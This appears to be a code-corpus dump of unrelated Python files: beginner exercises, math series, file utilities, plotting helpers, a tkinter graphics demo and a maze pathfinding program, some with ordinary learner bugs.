# -*- coding: utf-8 -*- """ Created on Mon Feb 8 17:13:16 2021 @author: admin """ #Q1. Print the following statements as a message in python interpreter. st1= 'Charlie said “We have to buy dinner and I have only $10 with me.”' print(st1) st2= "Please get my pencil from Virendra’s bag." print(st2) print('Name\tAge \nRita\t10Year\nGeeta\t14Year\nSita\t20Year') #Q2. Try out these python builtin functions on a string variables : name = “Peter” and password = “$45^123A”. name= 'Peter' #Output of function: password='$45^123A' #name password print(name.isalnum(),password.isalnum()) #True False print(name.isalpha(),password.isalpha()) #True False #print(name.isascii(),password.isascii()) #True True print(name.isdecimal(),password.isdecimal()) #False False print(name.isdigit(),password.isdigit()) #False False print(name.isidentifier(),password.isidentifier()) #True False print(name.islower(),password.islower()) #False False print(name.isnumeric(),password.isnumeric()) #False False print(name.isprintable(),password.isprintable()) #True True print(name.isspace(),password.isspace()) #False False print(name.title(),password.istitle()) #True True print(name.isupper(),password.isupper()) #False True #Q3. Print this whole message in all capital letters and all small letters st3='Me and My best friend are neighbors. I like o play with my best friend' print(st3.upper()) #It will print msg in all capital print(st3.lower()) #It will print msg in all lower #In the statement in Q3., find the occurences of ‘best frined’ and ‘my’. The print the message again by replacing all the occurences of ‘best friend’ with ‘worst enemy’ and ‘like’ with ‘hate’. (Use builtin functions of string data-type when required. ) st3='Me and My best friend are neighbors. I like to play with my best friend ' print(st3.count('best friend')) #count is 1 print(st3.count('my')) #count is 1 print(st3.replace('best friend','worst enemy')) print(st3.replace('like','hate')) #Q5. Initialise a user provided input string in python and check if it starts with ‘I am’ and ends with ‘school’. Now, swap the case of every letter of the provided string (that is all capital letters would become small letters and vice versa). st4=input('Enter the string :') #print(st4) print(st4.startswith('I am')) print(st4.endswith('school')) print(st4.upper()) print(st4.lower()) #Q6. Construct a string of your full-name with all small letters. Then use a string operation to Capitalize all the letters, and print the resulting string. Now use this capitalized string and make only the first letter in each word capital and print the resulting string. st5='wasim gulab pinjari' print(st5.upper()) print(st5.title()) # Q7. Construct a string to represent the statement written below and print it: print("String is one of python's features") print('Raj said "I don,t want to go for tthetrip"') # Q8. Construct a string equivalent to the following sentence: st6="city name is big city" print(st6.replace('city name','mumbai')) print(st6.capitalize()) #Q9. Modify the string "Amar Akbar Anthony" so that when printed, each word will appear on a new line print("Amar\nAkbar\nAnthony") #Q10. Consider the string " Computers are powerful. ". Notice the spaces before the first and after the last words. Modify the string to remove these, and print the string. st7=" Computer are powerful " print(st7.strip()) #Q11. For the string in the above example, count the number of times each of the vowels "a", "e", "i", "o", "u" appear in the string. print(st7.count('a')) print(st7.count('e')) print(st7.count('i')) print(st7.count('o')) print(st7.count('u'))
9e51d00bffb0d756cdbc246a6cc7d126ff053601
Wieschie/time_tracker
/sample/TimeAction.py
1,260
3.640625
4
from argparse import Action from datetime import datetime import pytz from tzlocal import get_localzone class TimeAction(Action): """ Custom argparse action that validates a user-entered time and converts to a datetime object with the current date. """ def __init__(self, option_strings, dest, nargs=None, **kwargs): if nargs is not None: raise ValueError("nargs not allowed") super(TimeAction, self).__init__(option_strings, dest, **kwargs) def __call__(self, parser, namespace, values, option_string=None): try: d = datetime.strptime(values, "%H%M") except ValueError: print("Invalid time entered.") exit() # Only accepts HHMM from user, so add current date and tz to event local_tz = get_localzone() n = datetime.now().replace(tzinfo=local_tz) d = d.replace(year=n.year, month=n.month, day=n.day, tzinfo=local_tz) try: if d > n: raise ValueError("Please enter a time in the past.") except ValueError as e: print(e) exit() # save newly created datetime setattr(namespace, self.dest, d.astimezone(pytz.utc).replace(tzinfo=None))
11469f7d6a3079419b2219fd8daa6ad672d80599
Preshehi/reservoir-engineering
/Unit 7 Introduction to Well-Test Analysis/functions/regression.py
520
4.03125
4
def regression(x, y): # x, y must be in NUMPY ARRAY "Linear Regression" import numpy as np # number of observations/points n = np.size(x) # mean of x and y vector m_x, m_y = np.mean(x), np.mean(y) # calculating cross-deviation and deviation about x SS_xy = np.sum(y*x) - n*m_y*m_x SS_xx = np.sum(x*x) - n*m_x*m_x # calculating regression coefficients b_1 = SS_xy / SS_xx b_0 = m_y - b_1*m_x return(b_0, b_1) # b_0 is intercept, b_1 is slope
ec072cda3f52962ce592060ebc2d58c1370a7c55
blairg23/movie-file-fixer
/src/utils/utils.py
5,823
3.78125
4
# -*- coding: utf-8 -*- """ Description: A compilation of utility methods for testing or production purposes. """ import hashlib import math import os import pathlib import shutil def listdir_fullpath(directory): """ :param str directory: The directory to search in. :return list: A list of files and folders as their full path. Returns the full path of every file or folder within a given directory. """ return [os.path.join(directory, file_or_folder) for file_or_folder in os.listdir(directory)] def is_in_list(element, the_list): """ Prints boolean value of whether the element is in the list. * element can be a singleton value or a list of values. * the_list can be a single list or a list of lists. """ return any([element in the_list]) or any([element in row for row in the_list]) def is_in_folder(path=None, name=None): """ :param str path: The full (or relative) path of the directory to search in. :param str name: The file or folder name to search for. :return bool: True or False if the file or folder is located in the given folder path. Returns a boolean value whether the file or folder is located in the given folder path. """ if os.path.exists(path): return name in os.listdir(path) else: # If the path doesn't exist, the file or folder can't very well exist in it. return False def find_single_files(directory): """ :param str directory: The directory to look for single files. :return list: A list of all single files in a given directory. Finds all the files without a folder within a given directory """ return [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))] def find_folders(directory): """ :param str directory: The directory to look for folders. :return list: A list of folders in the given directory. Finds all the folders in a given directory """ return [os.path.join(directory, o) for o in os.listdir(directory) if os.path.isdir(os.path.join(directory, o))] def get_child_file_or_folder_name(path): """ :param str path: The full path to the child file or folder. :return str: The file or folder name. Returns the child file or folder name, given a full path. """ return path.split(os.sep)[-1] def get_parent_folder_name(path): """ :param str path: The full path to the file or folder. :return str: The parent folder name. Returns the parent folder name, given a full path. """ return str(pathlib.Path(path).parent) def get_parent_and_child(path): """ :param str path: The full path to the child file or folder. :return tuple: The parent folder name and the child file or folder name. Returns the parent folder name and the child file or folder name as a tuple. """ return get_parent_folder_name(path=path), get_child_file_or_folder_name(path=path) def silent_remove(path): """ :param str path: The path of the file or folder to remove. :return None: Removes a given file or folder path, unless it raises an error. Doesn't throw an error if the file or folder is non-existent. """ if os.path.isfile(path): os.remove(path) else: shutil.rmtree(path) def create_trimmed_file(filepath, chunksize=64): """ :param str filepath: The path of the file to be trimmed. :param int chunksize: The size (in KB) of the chunks. :return str: The new filename, which is also the `md5` hash of the new file. This method will take the file at the given filepath and pull two `chunksize` (in KB) sized chunks from the beginning and end of the file. It will then perform an `md5` hash of those chunks and create a new file with the hash as the filename. """ readsize = chunksize * 1024 with open(filepath, 'rb') as infile: data = infile.read(readsize) infile.seek(-readsize, os.SEEK_END) data += infile.read(readsize) root, filename = get_parent_and_child(path=filepath) name, extension = os.path.splitext(filename) new_filename = hashlib.md5(data).hexdigest() + extension new_filepath = os.path.join(root, new_filename) with open(new_filepath, 'wb') as outfile: outfile.write(data) return new_filename def create_random_file(directory, filename, file_extension=None, filesize=128, units='kb'): """ :param str directory: The directory to create the file in. :param str file_extension: The file extension of the file to write, if desired. :param int filesize: The size of the file to create. :param str units: The size units to use. Valid Options: ['b', 'kb', 'mb']. :return str: The `md5` hash of the file created. Writes a random file at the given `filepath` of size `filesize` (in `units`). i.e., If `filesize=128` and `units='kb'`, a file of size 128 KB will be written. """ # 1024 ^ indexof(units) # 1024 ^ 0 = 1 Byte # 1024 ^ 1 = 1 Kilobyte # 1024 ^ 2 = 1 Megabyte kb_modifiers = ['b', 'kb', 'mb'] if units not in kb_modifiers: raise Exception(f'[ERROR] Choose one of the following: {kb_modifiers}') # Determine the actual size of the file to write based on the index of the specified `units` parameter in # the `kb_modifiers` list (multiplied by the specified `filesize` parameter) writesize = filesize * math.pow(1024, kb_modifiers.index(units)) filename += file_extension if file_extension is not None else '' filepath = os.path.join(directory, filename) random_bytes = os.urandom(int(writesize)) random_bytes_hash = hashlib.md5(random_bytes).hexdigest() with open(filepath, 'wb') as outfile: outfile.write(random_bytes) return random_bytes_hash
dce4edf32b59245bbf03bdf5f5d68a69e49a2bd8
ngvinay/python-projects
/PythonAdvanced/src/exercises/zip_fn.py
380
3.5625
4
#Print out in each line the sum of homologous items of the two sequences. a = [1, 2, 3] b = (4, 5, 6) for i, j in zip(a, b): #zip combines two sequences print i + j #print #ab #cd import string with open("letters.txt", "w") as file: for letter1, letter2 in zip(string.ascii_lowercase[0::2], string.ascii_lowercase[1::2]): file.write(letter1 + letter2 + "\n")
2f44d6d704cff9f3c9d08707a3eac38f5a228471
dimdred/Lynda
/Learning python/variables.py
330
4
4
#declare a variable f = 0; f1 = 1; print f print f1 #re-declaring a variable f = "abc" print f #error: different types combined #print "string type " + 123 print "string type " + str(123) #global vs local variables in functions def SomeFunction(): global f f = "def" print f SomeFunction() print f del f1 print f1
5615afa3da9bf1d85bec7039a97ee9dd43646355
algorithmrookie/Alan
/week5/[22]括号生成.py
638
3.53125
4
# 数字 n 代表生成括号的对数,请你设计一个函数,用于能够生成所有可能的并且 有效的 括号组合。 # # # # 示例 1: # # # 输入:n = 3 # 输出:["((()))","(()())","(())()","()(())","()()()"] # # # 示例 2: # # # 输入:n = 1 # 输出:["()"] # # # # # 提示: # # # 1 <= n <= 8 # # Related Topics 字符串 动态规划 回溯 # 👍 1854 👎 0 # leetcode submit region begin(Prohibit modification and deletion) class Solution: def generateParenthesis(self, n: int) -> List[str]: # leetcode submit region end(Prohibit modification and deletion)
8d23072e669a14e1c362c30c86e6a8f49d6dc9a1
marythought/sea-c34-python
/students/KimNighelli/session02/series.py
3,363
4.28125
4
############################################# # This is for Task 4- Mathematical Series ############################################ ''' Fibonacci Series 0, 1, 1, 2, 3, 5, 8, 13, ... The function for a Fibonnaci series is F(n) = F(n-1) + F(n-2) Where n is the nth number in the series. What we know- F(0) = 0, F(1) = 1, F(2) = 1 For this assignment, we calculate the nth number in the series ''' def fibonacci(n): if n < 0: return None elif n == 0: return 0 elif n == 1: return 1 else: return fibonacci(n-1) + fibonacci(n-2) ''' Lucas Series 2, 1, 3, 4, 7, 11, 18, 29, ... The function for the Lucas number is the same as Fibonacci, except that the first number is a 2 instead of the 0,1 pair. For this assignment, we calculate the nth number in the series ''' def lucas(n): if n < 0: return None elif n == 0: return 2 elif n == 1: return 1 else: return lucas(n-1) + lucas (n-2) ''' Sum Series Need- One required (user) and two optional parameters The required parameter will determine which element in the series to print. The two optional parameters will have default values of 0 and 1 and will determine the first two values for the series to be produced. To deal with this, make two variables - y = 0, z = 1 ''' def sum_series (n, y = 0, z = 1): if n < 0: return None elif n == 0: return y #0! elif n == 1: return z #1! else: return sum_series(n-1,y,z) + sum_series(n-2,y,z) ''' Testing ''' if __name__ == "__main__": #After some testing- the assert command will not print out anything # if the assertion is true. #Testing the Fibonacci Equation assert fibonacci(-1) == None assert fibonacci(0) == 0 assert fibonacci(1) == 1 assert fibonacci(5) == 5 assert fibonacci(10) == 55 # All of these passed. When I used assert fibonacci(1) = 4 as a test # (Obviously wrong!), an AssertionError was raised. #Testing the Lucas Equation assert lucas(-14) == None assert lucas(0) == 2 assert lucas(1) == 1 assert lucas(6) == 18 # All passed! #Testing the series ''' If we call this function with no optional parameters (y and z are 0 and 1, respectively), the fibonacci series should be produced. For example: sum_series(4) should be equal to fibonacci(4) If we call the function with optional paramaters (in this case y and z are 2 and 1, respectively), the lucas series should be produced. For example: sum_series(4,2,1) should be equal to lucas(4) Pretty sure these can be done in a loop to save typing time ''' #Fib and Sum_Series # y and z are still equal to 0 and 1, respectively in this case for n in range(11): #0 - 10 assert sum_series(n) == fibonacci(n) # Lucas and Sum_Series # y and z need to be set to 2 and 1, respectively for n in range(11): assert sum_series(n,2,1) == lucas(n) print "All tests passed!"
b5718afa4591960f9db7516b57e5d248a0b4361e
bishalkunwar/Random_practics_Python
/randomNumberGuessing.py
1,252
3.984375
4
#WAP in python to generate random number only three time if the guess numbr is equal to # random number generatd then increase the counter by 1 and if not then decrease the counter by 1 if the # total value reached maximum to 25 then Player win the matched if not then failed or loose the game. #Solution import random #making three turns and global variables of sum declaration turn = 3 sum = 0 while turn >= 1: inp= int(input("Enter the guess number less than 25:..")) if inp <= 25: number = random.randint(0,25) if number == inp: turn = turn+1 print("Congratulations, one more chance added.") print() else: turn = turn-1 print("Sorry, not matched.") print() else: print("invalid input, greater than 25.") sum = sum+inp print() if(sum == 25): print("Congratulations, You have make your sum ", sum, "and you have won the Game") else: print("Sorry, You have loose the game.") '''Enter the guess number less than 25:..14 Sorry, not matched. Enter the guess number less than 25:..15 Sorry, not matched. Enter the guess number less than 25:..16 Sorry, not matched. Sorry, You have loose the game.'''
81f5f7c37bc67740a6b776e3428886efbabd3d24
kbergerstock/myProjects
/projects.python/hat/py_hat.py
1,557
3.84375
4
#krb 1/17/2013 turtle exercise from tkinter import * import math import datetime import time def calcCX(width): return width / 2 def calcCY(hgt): return int(((float(hgt)/2.0) * 9.0) / 10.0) class mCanvas(Canvas): def plot(self,sx,sy,color): self.create_line(sx,sy,sx+1,sy,fill=color) def drawHat(self): #preload constants XP = 300.0 YP = 110.0 ZP = 90.0 XR = 1.5 * math.pi YR = 1.0 xf = XR/XP yf = YP/YR zf = XP/ZP xp2 = XP*XP cx = calcCX(800) cy = calcCY(600) zi = -ZP while zi < ZP: zt = zf * zi xl = 0.5 + math.sqrt(xp2 - (zt * zt)) xi = -xl while xi < xl: xt = math.sqrt( xi*xi + zt*zt) * xf yy = math.sin( math.sin(xt) + 0.4 * math.sin( 3.0 * xt) ) * yf sx = int(cx+xi+zi) sy = int(cy+zi-yy) self.plot(sx,sy,"RED") xi += 2.0 # inc xi to advance loop zi += 1.0 # inc zi to advance loop class mApp(): def __init__(self): self.root = Tk() self.w =mCanvas(self.root,width=800,height=600) self.w.pack() def run(self): ts=time.time() self.w.drawHat() te=time.time() print("elapsed time :",(te-ts)*1000.0) mainloop() def main(): app = mApp() app.run() if __name__ == '__main__': main()
c74e36cc42aa212f86b8333f18a27d0c10caa12f
HyoHee/Python_month01_all-code
/day08/homework/homework01.py
342
3.546875
4
""" 定义函数,计算社保缴纳费用 """ def calculate_insurance(money): """ 计算社保费用 :param money: 税前薪资,float类型 :return: 计算后社保缴纳费用,float类型 """ return money * (0.08 + 0.02 + 0.002 + 0.12) + 3 print(f"需要交纳社保:{calculate_insurance(10000)}元")
777c7db003b19331d9796744c07d9053021bd0e1
MichelleMoran431/Muti-paradigm-programming-2021
/week 8/Person.py
1,109
3.9375
4
class Person: def __init__(self,n,a): self.name = n self.name = a # property age = whatever the age is enter def age (self): return self._age # this is the age setter - sets criteria for the age entered ,more than 1 and less than 120. controlling the data entered def age (self,arg): if (arg>=1 and arg<=120): self._age = arg def __repr__(self): return f"{self.name} is {self._age} years old" class Student(Person): def __init__(self, n, a, courses): super().__init__(n,a) self.courses = courses def takes_courses (self,list): for course in self.courses: if course in list: return True return False if __name__ == '__main__': print("hello") clara = Person ("clara", 1) print (clara) clara.age = 18 print( clara) paul = Student ("Paul", 52,["Intro to Management","Programming 101"]) print (paul) paul.age = 300 print(paul) print(paul.takes_class(["HR Admin"])) print(paul.takes_class(["Intro to Management"]))
70a332477067066a18fbd8577afb39c159f8ee02
nimishmaheshwari/DataStructures_and_Algorithms
/Practice/Array Input.py
273
4
4
a=int(input("Enter the number of elements in the array")) lst=[] for i in range(0,a): n=int(input("Enter the number of elements in array")) lst1 = [] for j in range(0,n): m=int(input( )) lst1.append(m) lst.append(lst1) lst1=[] print(lst)
16f3061bc8dec9be60aaf36183ca7045b73234a4
wearepal/fairness-comparison
/analysis/plot_helpers.py
14,994
3.8125
4
""" Functions that are helpful for plotting results """ from pathlib import Path from collections import namedtuple import numpy as np from matplotlib import pyplot as plt import pandas as pd # data that will appear as one entry in the legend of a plot DataEntry = namedtuple('DataEntry', ['label', 'values', 'do_fill']) # definition of a plot with a list of entries and a title PlotDef = namedtuple('PlotDef', ['title', 'entries']) def common_plotting_settings(plot, plot_def, xaxis_title, yaxis_title, legend="inside"): """Common settings for plots Args: plot: a pyplot plot object plot_def: a `PlotDef` that defines properties of the plot xaxis_title: label for x-axis yaxis_title: label for y-axis legend: where to put the legend; allowed values: None, "inside", "outside" """ plot.set_xlabel(xaxis_title) plot.set_ylabel(yaxis_title) if plot_def.title: plot.set_title(plot_def.title) plot.grid(True) if legend == "outside": legend = plot.legend(loc='upper left', bbox_to_anchor=(1, 1)) return legend elif legend == "inside": plot.legend() elif isinstance(legend, tuple) and legend[0] == "outside" and type(legend[1]) == float: legend = plot.legend(bbox_to_anchor=(1, legend[1]), loc=2) # , borderaxespad=0.) return legend def scatter(plot, plot_def, xaxis, yaxis, legend="inside", startindex=0, markersize=6): """Generate a scatter plot Args: plot: a pyplot plot object plot_def: a `PlotDef` that defines properties of the plot xaxis: either a string or a tuple of two strings yaxis: either a string or a tuple of two strings legend: where to put the legend; allowed values: None, "inside", "outside" """ shapes = ['o', 'X', 'D', 's', '^', 'v', '<', '>', '*', 'p', 'P'] colors10 = ["#1f77b4", "#ff7f0e", "#2ca02c", "#d62728", "#9467bd", "#8c564b", "#e377c2", "#7f7f7f", "#bcbd22", "#17becf"] xaxis_measure, yaxis_measure = xaxis[0], yaxis[0] filled_counter = startindex for i, entry in enumerate(plot_def.entries): if entry.do_fill: additional_params = dict() shp_index = filled_counter filled_counter += 1 else: additional_params = dict(mfc='none') shp_index = i + startindex - filled_counter plot.plot( entry.values[xaxis_measure], entry.values[yaxis_measure], shapes[shp_index], label=entry.label, **additional_params, c=colors10[shp_index], markersize=markersize ) return common_plotting_settings(plot, plot_def, xaxis[1], yaxis[1], legend) def errorbox(plot, plot_def, xaxis, yaxis, legend="inside", firstcolor=0, firstshape=0, markersize=6): """Generate a figure with errorboxes that reflect the std dev of an entry Args: plot: a pyplot plot object plot_def: a `PlotDef` that defines properties of the plot xaxis: either a string or a tuple of two strings yaxis: either a string or a tuple of two strings legend: where to put the legend; allowed values: None, "inside", "outside" """ # scale = scale_color_brewer(type='qual', palette=1) # d3.schemeCategory20 # ["#1f77b4", "#aec7e8", "#ff7f0e", "#ffbb78", "#2ca02c", "#98df8a", "#d62728", "#ff9896", # "#9467bd", "#c5b0d5", "#8c564b", "#c49c94", "#e377c2", "#f7b6d2", "#7f7f7f", "#c7c7c7", # "#bcbd22", "#dbdb8d", "#17becf", "#9edae5"] colors = ["#1f77b4", "#ff7f0e", "#2ca02c", "#d62728", "#9467bd", "#8c564b", "#e377c2", "#7f7f7f", "#bcbd22", "#17becf"] pale_colors = ["#aec7e8", "#ffbb78", "#98df8a", "#ff9896", "#c5b0d5", "#c49c94", "#f7b6d2", "#c7c7c7", "#dbdb8d", "#9edae5"] shapes = ['o', 'X', 'D', 's', '^', 'v', '<', '>', '*', 'p', 'P'] xaxis_measure, yaxis_measure = xaxis[0], yaxis[0] filled_counter = firstcolor for i, entry in enumerate(plot_def.entries): if entry.do_fill: color = colors[filled_counter] filled_counter += 1 else: color = pale_colors[i + firstcolor - filled_counter] i_shp = firstshape + i xmean, xstd = np.mean(entry.values[xaxis_measure]), np.std(entry.values[xaxis_measure]) ymean, ystd = np.mean(entry.values[yaxis_measure]), np.std(entry.values[yaxis_measure]) plot.bar(xmean, ystd, bottom=ymean - 0.5 * ystd, width=xstd, align='center', color='none', edgecolor=color, linewidth=3, zorder=3 + 2 * i_shp) plot.plot(xmean, ymean, shapes[i_shp], c=color, label=entry.label, zorder=4 + 2 * i_shp, markersize=markersize) return common_plotting_settings(plot, plot_def, xaxis[1], yaxis[1], legend) def plot_all(plot_func, plot_def_list, xaxis, yaxis, save=False, legend="inside", figsize=(20, 6), dpi=None): """Plot all plot definitions in a given list. The plots will be in a single row. Args: plot_func: which kind of plot to make plot_def_list: a list of `PlotDef` xaxis: either a string or a tuple of two strings yaxis: either a string or a tuple of two strings save: True if the figure should be saved to disk legend: where to put the legend; allowed values: None, "inside", "outside" figsize: size of the whole figure dpi: DPI of the figure Returns: the figure and the array of plots """ # with plt.style.context('seaborn'): # optional if not isinstance(xaxis, tuple): xaxis = [xaxis] * 2 if not isinstance(yaxis, tuple): yaxis = [yaxis] * 2 fig, plots = plt.subplots(ncols=len(plot_def_list), squeeze=False, figsize=figsize) legends = [] for plot, plot_def in zip(plots[0], plot_def_list): legend = plot_func(plot, plot_def, xaxis, yaxis, legend) if legend is not None: legends.append(legend) if not save: return fig, plots save_path = Path("results") / Path("analysis") / Path(plot_def_list[0].title) save_path.mkdir(parents=True, exist_ok=True) figure_path = str(save_path / Path(f"{xaxis[0]}-{yaxis[0]}.png")) if legend == "outside": fig.savefig(figure_path, dpi=dpi, bbox_extra_artists=legends, bbox_inches='tight') else: fig.savefig(figure_path, dpi=dpi) # print(xaxis_measure, yaxis_measure) def parse(filename, filter_transform=None): """Parse a file You can pass a function as `condition` that decides whether a given algorithm should be included. You can pass a function as `mapping` that changes the algorithm names. Args: filename: a string with the filename filter_transform: (optional) a function that takes an algorithm name and returns a replacement name and a boolean that decides if the corresponding marker is filled or returns `None` Returns: a list of `DataEntry` with algorithm name, Pandas dataframe and fill indicator """ raw_data = pd.read_csv(filename) to_plot = [] for algo_name, values in raw_data.groupby('algorithm'): algo_info = (algo_name, True) if filter_transform is None else filter_transform(algo_name) if algo_info is not None: new_algo_name, do_fill = algo_info to_plot.append(DataEntry(label=new_algo_name, values=values, do_fill=do_fill)) return to_plot def filter_transform_labels(plot_defs, filter_transform): """Filter out and transform entries according to the given function Args: plot_defs: list of plot definitions filter_transform: a function that takes an algorithm name and either returns `None` or a transformed name Returns: list of `PlotDef` with filtered out entries """ new_plot_defs = [] for plot_def in plot_defs: new_entries = [] for entry in plot_def.entries: algo_info = filter_transform(entry.label) if algo_info is not None: new_algo_name, do_fill = algo_info new_entries.append(entry._replace(label=new_algo_name, do_fill=do_fill)) new_plot_defs.append(plot_def._replace(entries=new_entries)) return new_plot_defs def parse_for_plot(filename, title, filter_transform=None): """Parse a file and create a `PlotDef` from it Args: filename: a string with the filename title: title of the plot filter_transform: (optional) a function that takes an algorithm name and returns a replacement name and a boolean that decides if the corresponding marker is filled or returns `None` Returns: a `PlotDef` with a plot title and a list of entries """ return PlotDef(title, parse(filename, filter_transform)) def transform(entries, key, transformation): """Transform a column in a DataEntry Args: entries: list of `DataEntry` key: a string that identifies a column in the pandas dataframes transformation: a function that takes a value and returns some of it Returns: a list of `DataEntry` where the one given column has been transformed in all entries """ new_entries = [] for entry in entries: values = entry.values values[key] = values[key].map(transformation) new_entries.append(entry._replace(values=values)) return new_entries def transform_plot_def(plot_def, key, transformation): """Transform the entries in a `PlotDef`""" return plot_def._replace(entries=transform(plot_def.entries, key, transformation)) def transform_all(plot_def_list, key, transformation): """Apply transformation to all entries in all given plot definitions""" new_plot_defs = [] for plot_def in plot_def_list: new_plot_defs.append(transform_plot_def(plot_def, key, transformation)) return new_plot_defs def parse_all(filenames_and_titles, filter_transform=None): """Parse all given files Args: filenames_and_titles: a list of tuples with a filename and a title filter_transform: (optional) a function that takes an algorithm name and returns a replacement name and a boolean that decides if the corresponding marker is filled or returns `None` Returns: a list of `PlotDef`, each with a plot title and a list of entries """ return [parse_for_plot(filename, title, filter_transform) for filename, title in filenames_and_titles] def parse_and_plot_all(filenames_and_titles, xaxis, yaxis, filter_transform=None): """Parse the given files and then plot the given x- and y-axis""" data = parse_all(filenames_and_titles, filter_transform) return plot_all(scatter, data, xaxis, yaxis) def start_filter(startswith): """Return a filter that lets strings through that start with `startswith`""" def _filt(label): return label.startswith(startswith) return _filt def mark_as_unfilled(startswith): """Mark all entries as unfilled where the label begins with `startswith`""" def _mapping(label): return label, not label.startswith(startswith) return _mapping def merge_same_labels(plot_defs): """Merge entries that have the same label""" new_plot_defs = [] for plot_def in plot_defs: new_entries = [] entry_index = {} # for finding the right index in `new_entries` for entry in plot_def.entries: if entry.label not in entry_index: # new entry entry_index[entry.label] = len(new_entries) # we store a tuple of the entry and a list of values new_entries.append((entry, [entry.values])) else: # find the index for this label ind = entry_index[entry.label] # append the values to the list of values (second entry of the tuple) new_entries[ind][1].append(entry.values) # convert the list of tuples to a list of entries, in place for j, (entry, list_of_values) in enumerate(new_entries): # `pd.concat` merges the list of dataframes new_entries[j] = entry._replace(values=pd.concat(list_of_values)) new_plot_defs.append(plot_def._replace(entries=new_entries)) return new_plot_defs def choose_entries(plot_defs, new_order): """Choose the entries in the plot definitions Args: plot_defs: list of plot definitions new_order: list of indices that define the new order of the entries. Indices may appear multiple times and may appear not at all. Returns: list of plot definitions with only the chosen entries in the given order """ new_plot_defs = [] for plot_def in plot_defs: new_plot_defs.append(plot_def._replace(entries=[plot_def.entries[i] for i in new_order])) return new_plot_defs def merge_entries(base_plot_def, *additional_plot_defs): """Merge the entries of the given plot definitions Args: base_plot_def: the merged plot definition will have the title of this one additional_plot_defs: any number of additional plot definitions Returns: plot definitions that has all the entries of the given plot definitions """ # copy in order not to change the given base_plot_def all_entries = base_plot_def.entries.copy() for plot_def in additional_plot_defs: all_entries += plot_def.entries return base_plot_def._replace(entries=all_entries) def merge_plot_defs(base_plot_def_list, *plot_def_lists): """Merge all plot definitions in the given list This function expects several lists that all have the same length and all contain plot definitions. The plot definitions are then merged to produce a single list that has the same length as the input lists. Args: base_plot_def_list: list of plot definitions that are used as the base plot_def_lists: any number of additional plot definition lists Returns: a single list of plot definitions where each plot definition has all the entries of the corresponding plot definitions in the other lists """ merged_plot_def_list = [] # iterate over all given lists simultaneously for plot_defs in zip(base_plot_def_list, *plot_def_lists): base_plot_def = plot_defs[0] # make sure the plot definitions that we are trying to merge are actually compatible # we do this by checking whether the titles are all the same for plot_def in plot_defs: if base_plot_def.title != plot_def.title: raise ValueError("Titles have to be the same everywhere") merged_plot_def_list.append(merge_entries(base_plot_def, *plot_defs[1:])) return merged_plot_def_list
5ea867db6a67ecdd71927b94eb486710619e102b
stoicamirela/PythonScriptingLanguagesProjects
/Project1/Ex1.py
330
3.984375
4
#simple exercise of asignments of numbers, doubling the number, changing values, print them number = 15 print(number) number = 2 * 15 print(number) my_string = "apples" print(number, my_string) # print(my_string) numberSquared = number ** 2 my_string = "pears" print(numberSquared, my_string) # print(my_string)
1f30fcfe4241203894da087849a737655530dd18
waseemtannous/PathFinding
/main.py
3,537
3.625
4
from tkinter import * from tkinter import filedialog from AlgorithmType import * from Maze import Maze from Node import Node def import_file(): # a function to read a text file and analyze it global maze # asks the user to input a valid file file = filedialog.askopenfilename(initialdir="/", title="Select File", filetypes=(("Text", "*.txt"), ("All Files", "*.*"))) f = open(file, 'r') # determine which algorithm to run first_line = f.readline() if first_line == 'BIASTAR\n': algo_type = AlgorithmType.BIASTAR elif first_line == 'IDASTAR\n': algo_type = AlgorithmType.IDASTAR elif first_line == 'ASTAR\n': algo_type = AlgorithmType.ASTAR elif first_line == 'UCS\n': algo_type = AlgorithmType.UCS else: algo_type = AlgorithmType.IDS # matrix dimension second_line = f.readline() size = int(second_line) # start coordinates third_line = f.readline() arr = [int(num) for num in third_line.split(',')] start = (arr[0], arr[1]) # end coordinates fourth_line = f.readline() arr = [int(num) for num in fourth_line.split(',')] end = (arr[0], arr[1]) # input the cost matrix matrix = [[int(num) for num in line.split(',')] for line in f if line.strip(' ') != ""] # save all relevant data in one object maze = Maze(algotype=algo_type, size=size, start=start, end=end, matrix=matrix) f.close() make_grid() set_neighbors() # allow the user to run the algorithm start_button['state'] = NORMAL # this function makes nodes and arranges them in a grid def make_grid(): grid1 = [] for i in range(maze.get_size()): grid1.append([]) for j in range(maze.get_size()): cost = maze.get_matrix()[i][j] node = Node(x=i, y=j, cost=cost) grid1[i].append(node) maze.set_grid(grid1) # make the second grid to help us in biastar if maze.algotype == AlgorithmType.BIASTAR: grid2 = [] for i in range(maze.get_size()): grid2.append([]) for j in range(maze.get_size()): cost = maze.get_matrix()[i][j] node = Node(x=i, y=j, cost=cost) grid2[i].append(node) maze.set_second_grid(grid2) # set the neighbors for every node def set_neighbors(): grid = maze.get_grid() for row in grid: for node in row: node.set_neighbors(maze, grid) if maze.algotype == AlgorithmType.BIASTAR: grid = maze.get_second_grid() for row in grid: for node in row: node.set_neighbors(maze, grid) # starts the maze def start_maze(): maze.run() root.destroy() exit(0) if __name__ == '__main__': # main UI root = Tk() # main window root.title("Path Finding") root.configure(background='#2b2b2b') root.geometry("300x300") # width X height root.resizable(False, False) # here we add the UI buttons import_button = Button(root, text="Import Maze", command=import_file, bg='#3c3f41', fg='#a9b7c6', bd=0, font=("JetBrains Mono", 18)) start_button = Button(root, text="Start Maze", command=start_maze, bg='#3c3f41', fg='#a9b7c6', bd=0, state=DISABLED, font=("JetBrains Mono", 18)) import_button.grid(row=0, column=0, padx=70, pady=50) start_button.grid(row=1, column=0, padx=70, pady=50) root.mainloop() # display window
23134a8757ff7c9ddeb0ff619c2453be83ba9560
RahulKachhap/python-files
/bifraction.py
624
3.671875
4
def possiblespilt(length): options=[] print(length) for v in range(length): options.append([v,length-v]) return options number=[1,2,1,2,1] spilt = possiblespilt(len(number)) result = [] print(spilt) for option in spilt[2:3]: res = [] for val in option: add = 0 print("val-",val) if(option.index(val) == 0): for num in number[0:val]: add+=num elif(option.index(val) == 0): for num in range(number[val:]): add+=num res.append(add) result.append(res) print(result)
ad74a7ee6aeb1e37160bfa960102ecee8e8c33ca
LuisClavero/bucleswhile
/mayork07.py
478
3.953125
4
#coding: utf-8 minimo=input("Escriba un mínimo:") maximo=input("Escriba un máximo:") suma=0 cont=0 while minimo>maximo: minimo=input("Error, introduzca otro numero mínimo:") maximo=input("Escriba otro numero máximo:") while minimo<maximo and suma==0: aux=input("Introduzca un numero:") if aux<=maximo and aux>=minimo: cont=cont+1 suma=0 else: suma=-1 print "Programa terminado." print "La cantidad de numeros introducida entre",minimo,"y",maximo,"es:",cont
